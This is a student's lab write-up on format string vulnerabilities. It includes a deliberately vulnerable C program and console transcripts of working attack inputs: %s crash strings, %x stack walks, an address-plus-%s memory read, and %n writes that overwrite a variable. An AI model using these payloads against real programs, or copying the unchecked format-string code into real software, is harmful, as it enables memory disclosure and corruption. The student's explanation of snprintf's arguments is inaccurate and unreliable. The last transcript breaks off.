Exploring Format String Vulnerabilities

Overview

Today we will explore format string vulnerabilities, and a set of exploits. To keep things simple and consistent, complete this lab with your SEED VM. As usual, keep detailed notes below (place your notes, outputs, and comments in between the provided horizontal lines).

Gate 1

Below is the sample code used in the lecture, which will also be leveraged in this lab.

```
#include "stdio.h"
int main(int argc, char **argv)
    {
        char buf[200];
        int val=1;
        printf("buf is at: %p\n",buf);
        printf("val is at: %p\n", &val);
        if(argc != 2)
        {
            printf("usage: %s [user string]\n",argv[0]);
            return 1;
        }
        snprintf(buf, sizeof buf, argv[1]);
        printf("buffer is %s\n", buf);
        printf("val is %d/%#x (@ %p)\n", val, val, &val);
        return 0;
    }
```

Compile the code above with the following command, and copy the compiler output into the space between the horizontal lines below.

```
gcc -m32 fmtstr.c -o fmtstr
```

[04/20/22]seed@VM:Byeongchan$ gcc -m32 fmtstr.c -o fmtstr
fmtstr.c: In function ‘main’:
fmtstr.c:13:5: warning: format not a string literal and no format arguments [-Wformat-security]

```
    snprintf(buf, sizeof buf, argv[1]);
    ^
fmtstr.c:13:5: warning: format not a string literal and no format arguments [-Wformat-security]
[04/20/22]seed@VM:Byeongchan$
```

What is the compiler output telling you? How does this relate to the idea of format string vulnerabilities?

The compiler complains about 2 things.
The function declaration looks like this:

```
#include <stdio.h>
int snprintf(char *buffer, size_t n, const char *format-string,
             argument-list);
```

As we can see, in snprintf, should take 4 arguments.
First problem is that there is no argument-list parameter.
Second problem is that format-string parameter is not a string literal. Out program hands in user input as a third parameter. It could cause problem without any action on user input.

Run fmtstr a few times to verify that it works. Turn off ASLR.

Gate 2

For this gate and the ones to follow, the format string vulnerability lecture slides will be very helpful.

Construct an input that causes a segmentation fault; paste the transcript of your console session below. (Here and in the all following gates, provide an unedited copy of your console session, which should include your inputs and outputs.)

```
[04/20/22]seed@VM:Byeongchan$ ./fmtstr %s%s%s%s%s%s
buf is at: 0xbfffebc4
val is at: 0xbfffebc0
Segmentation fault
[04/20/22]seed@VM:Byeongchan$
```

Gate 3

Look at the lecture slide entitled “Attack 2: Examine the Stack”. Use the string input provided there as an initial template; how many %x characters do you need to add until you find the beginning of your input string on the stack (i.e., the prefix “ABCD” in hex)? Provide your console transcript below, and explain why those four characters are ordered in that way.

How many %x characters do I need to add until you find the beginning of your input string on the stack?

Answer : 7

Provide your console transcript below

```
[04/20/22]seed@VM:Byeongchan$ ./fmtstr ABCD--%x--%x--%x--%x--%x--%x--%x
buf is at: 0xbfffeba4
val is at: 0xbfffeba0
buffer is ABCD--b7bb834c--0--bfffec34--b7ffd768--bfffed24--1--44434241
val is 1/0x1 (@ 0xbfffeba0)
[04/20/22]seed@VM:Byeongchan$
```

Explain why those four characters are ordered in that way

Our target system is using Little endian. Hence, lower bytes goes the end of 4 bytes space.

Gate 4

Using the input string you developed in the previous gate, replace ABCD with the properly-ordered byte address of `buf` (as is done in the “Examine Arbitrary Memory” slide.) Be sure to review the slides to make sure you are providing the command-line input (which includes hex bytes) in the correct way. Provide your console transcript below, and explain what value is printed with the final %x in the input string.

```
[04/20/22]seed@VM:Byeongchan$ ./fmtstr $(python -c "print
'\xb4\xeb\xff\xbf_%x_%x_%x_%x_%x_%x_%x_%x'")
```

buf is at: 0xbfffebb4
val is at: 0xbfffebb0
buffer is ����_b7bb834c_0_bfffec44_b7ffd768_bfffed34_1_bfffebb4
val is 1/0x1 (@ 0xbfffebb0)

Explain what value is printed with the final %x in the input string.

That is the address of the first for byte of the argument.

Now, with this most recent command-line input string, replace the final %x with %s. Include your console transcript below, and explain how this output differs from the previous output, and why.

[04/20/22]seed@VM:Byeongchan$ ./fmtstr $(python -c "print '\xb4\xeb\xff\xbf_%x_%x_%x_%x_%x_%x_%s'")
buf is at: 0xbfffebb4
val is at: 0xbfffebb0
buffer is
����_b7bb834c_0_bfffec44_b7ffd768_bfffed34_1_����_b7bb834c_0_bfffec44_b7ffd768_bfffed34_1_����
val is 1/0x1 (@ 0xbfffebb0)
[04/20/22]seed@VM:Byeongchan$

Explain how this output differs from the previous output, and why

It prints out the contents of the addresss at ‘0xbfffebb4’ cause %s interpret its input as address and try to print out.

Gate 5

We will now leverage this format string vulnerability to overwrite the value of the variable `val`. Using the lecture slides as guidance, make the fewest changes necessary to modify the input used most recently in the gate above to overwrite `val` with a new value. Provide your command-line transcript below.

[04/20/22]seed@VM:Byeongchan$ ./fmtstr $(python -c "print

'\xb0\xeb\xff\xbf_%x_%x_%x_%x_%x_%x_%x'")
buf is at: 0xbfffebb4
val is at: 0xbfffebb0
buffer is ����_b7bb834c_0_bfffec44_b7ffd768_bfffed34_1_bfffebb0
val is 1/0x1 (@ 0xbfffebb0)
[04/20/22]seed@VM:Byeongchan$ ./fmtstr $(python -c "print
'\xb0\xeb\xff\xbf_%x_%x_%x_%x_%x_%x_%n'")
buf is at: 0xbfffebb4
val is at: 0xbfffebb0
buffer is ����_b7bb834c_0_bfffec44_b7ffd768_bfffed34_1_
val is 45/0x2d (@ 0xbfffebb0)
[04/20/22]seed@VM:Byeongchan$

Now, modify your input to overwrite `val` with the value 999. Provide your command-line transcript below.

[04/20/22]seed@VM:Byeongchan$ ./fmtstr $(python -c "print
'\xb0\xeb\xff\xbf_%x_%x_%x_%x_%x_%.955x_%n'")
buf is at: 0xbfffebb4
val is at: 0xbfffebb0
buffer is
����_b7bb834c_0_bfffec44_b7ffd768_bfffed34_0000000000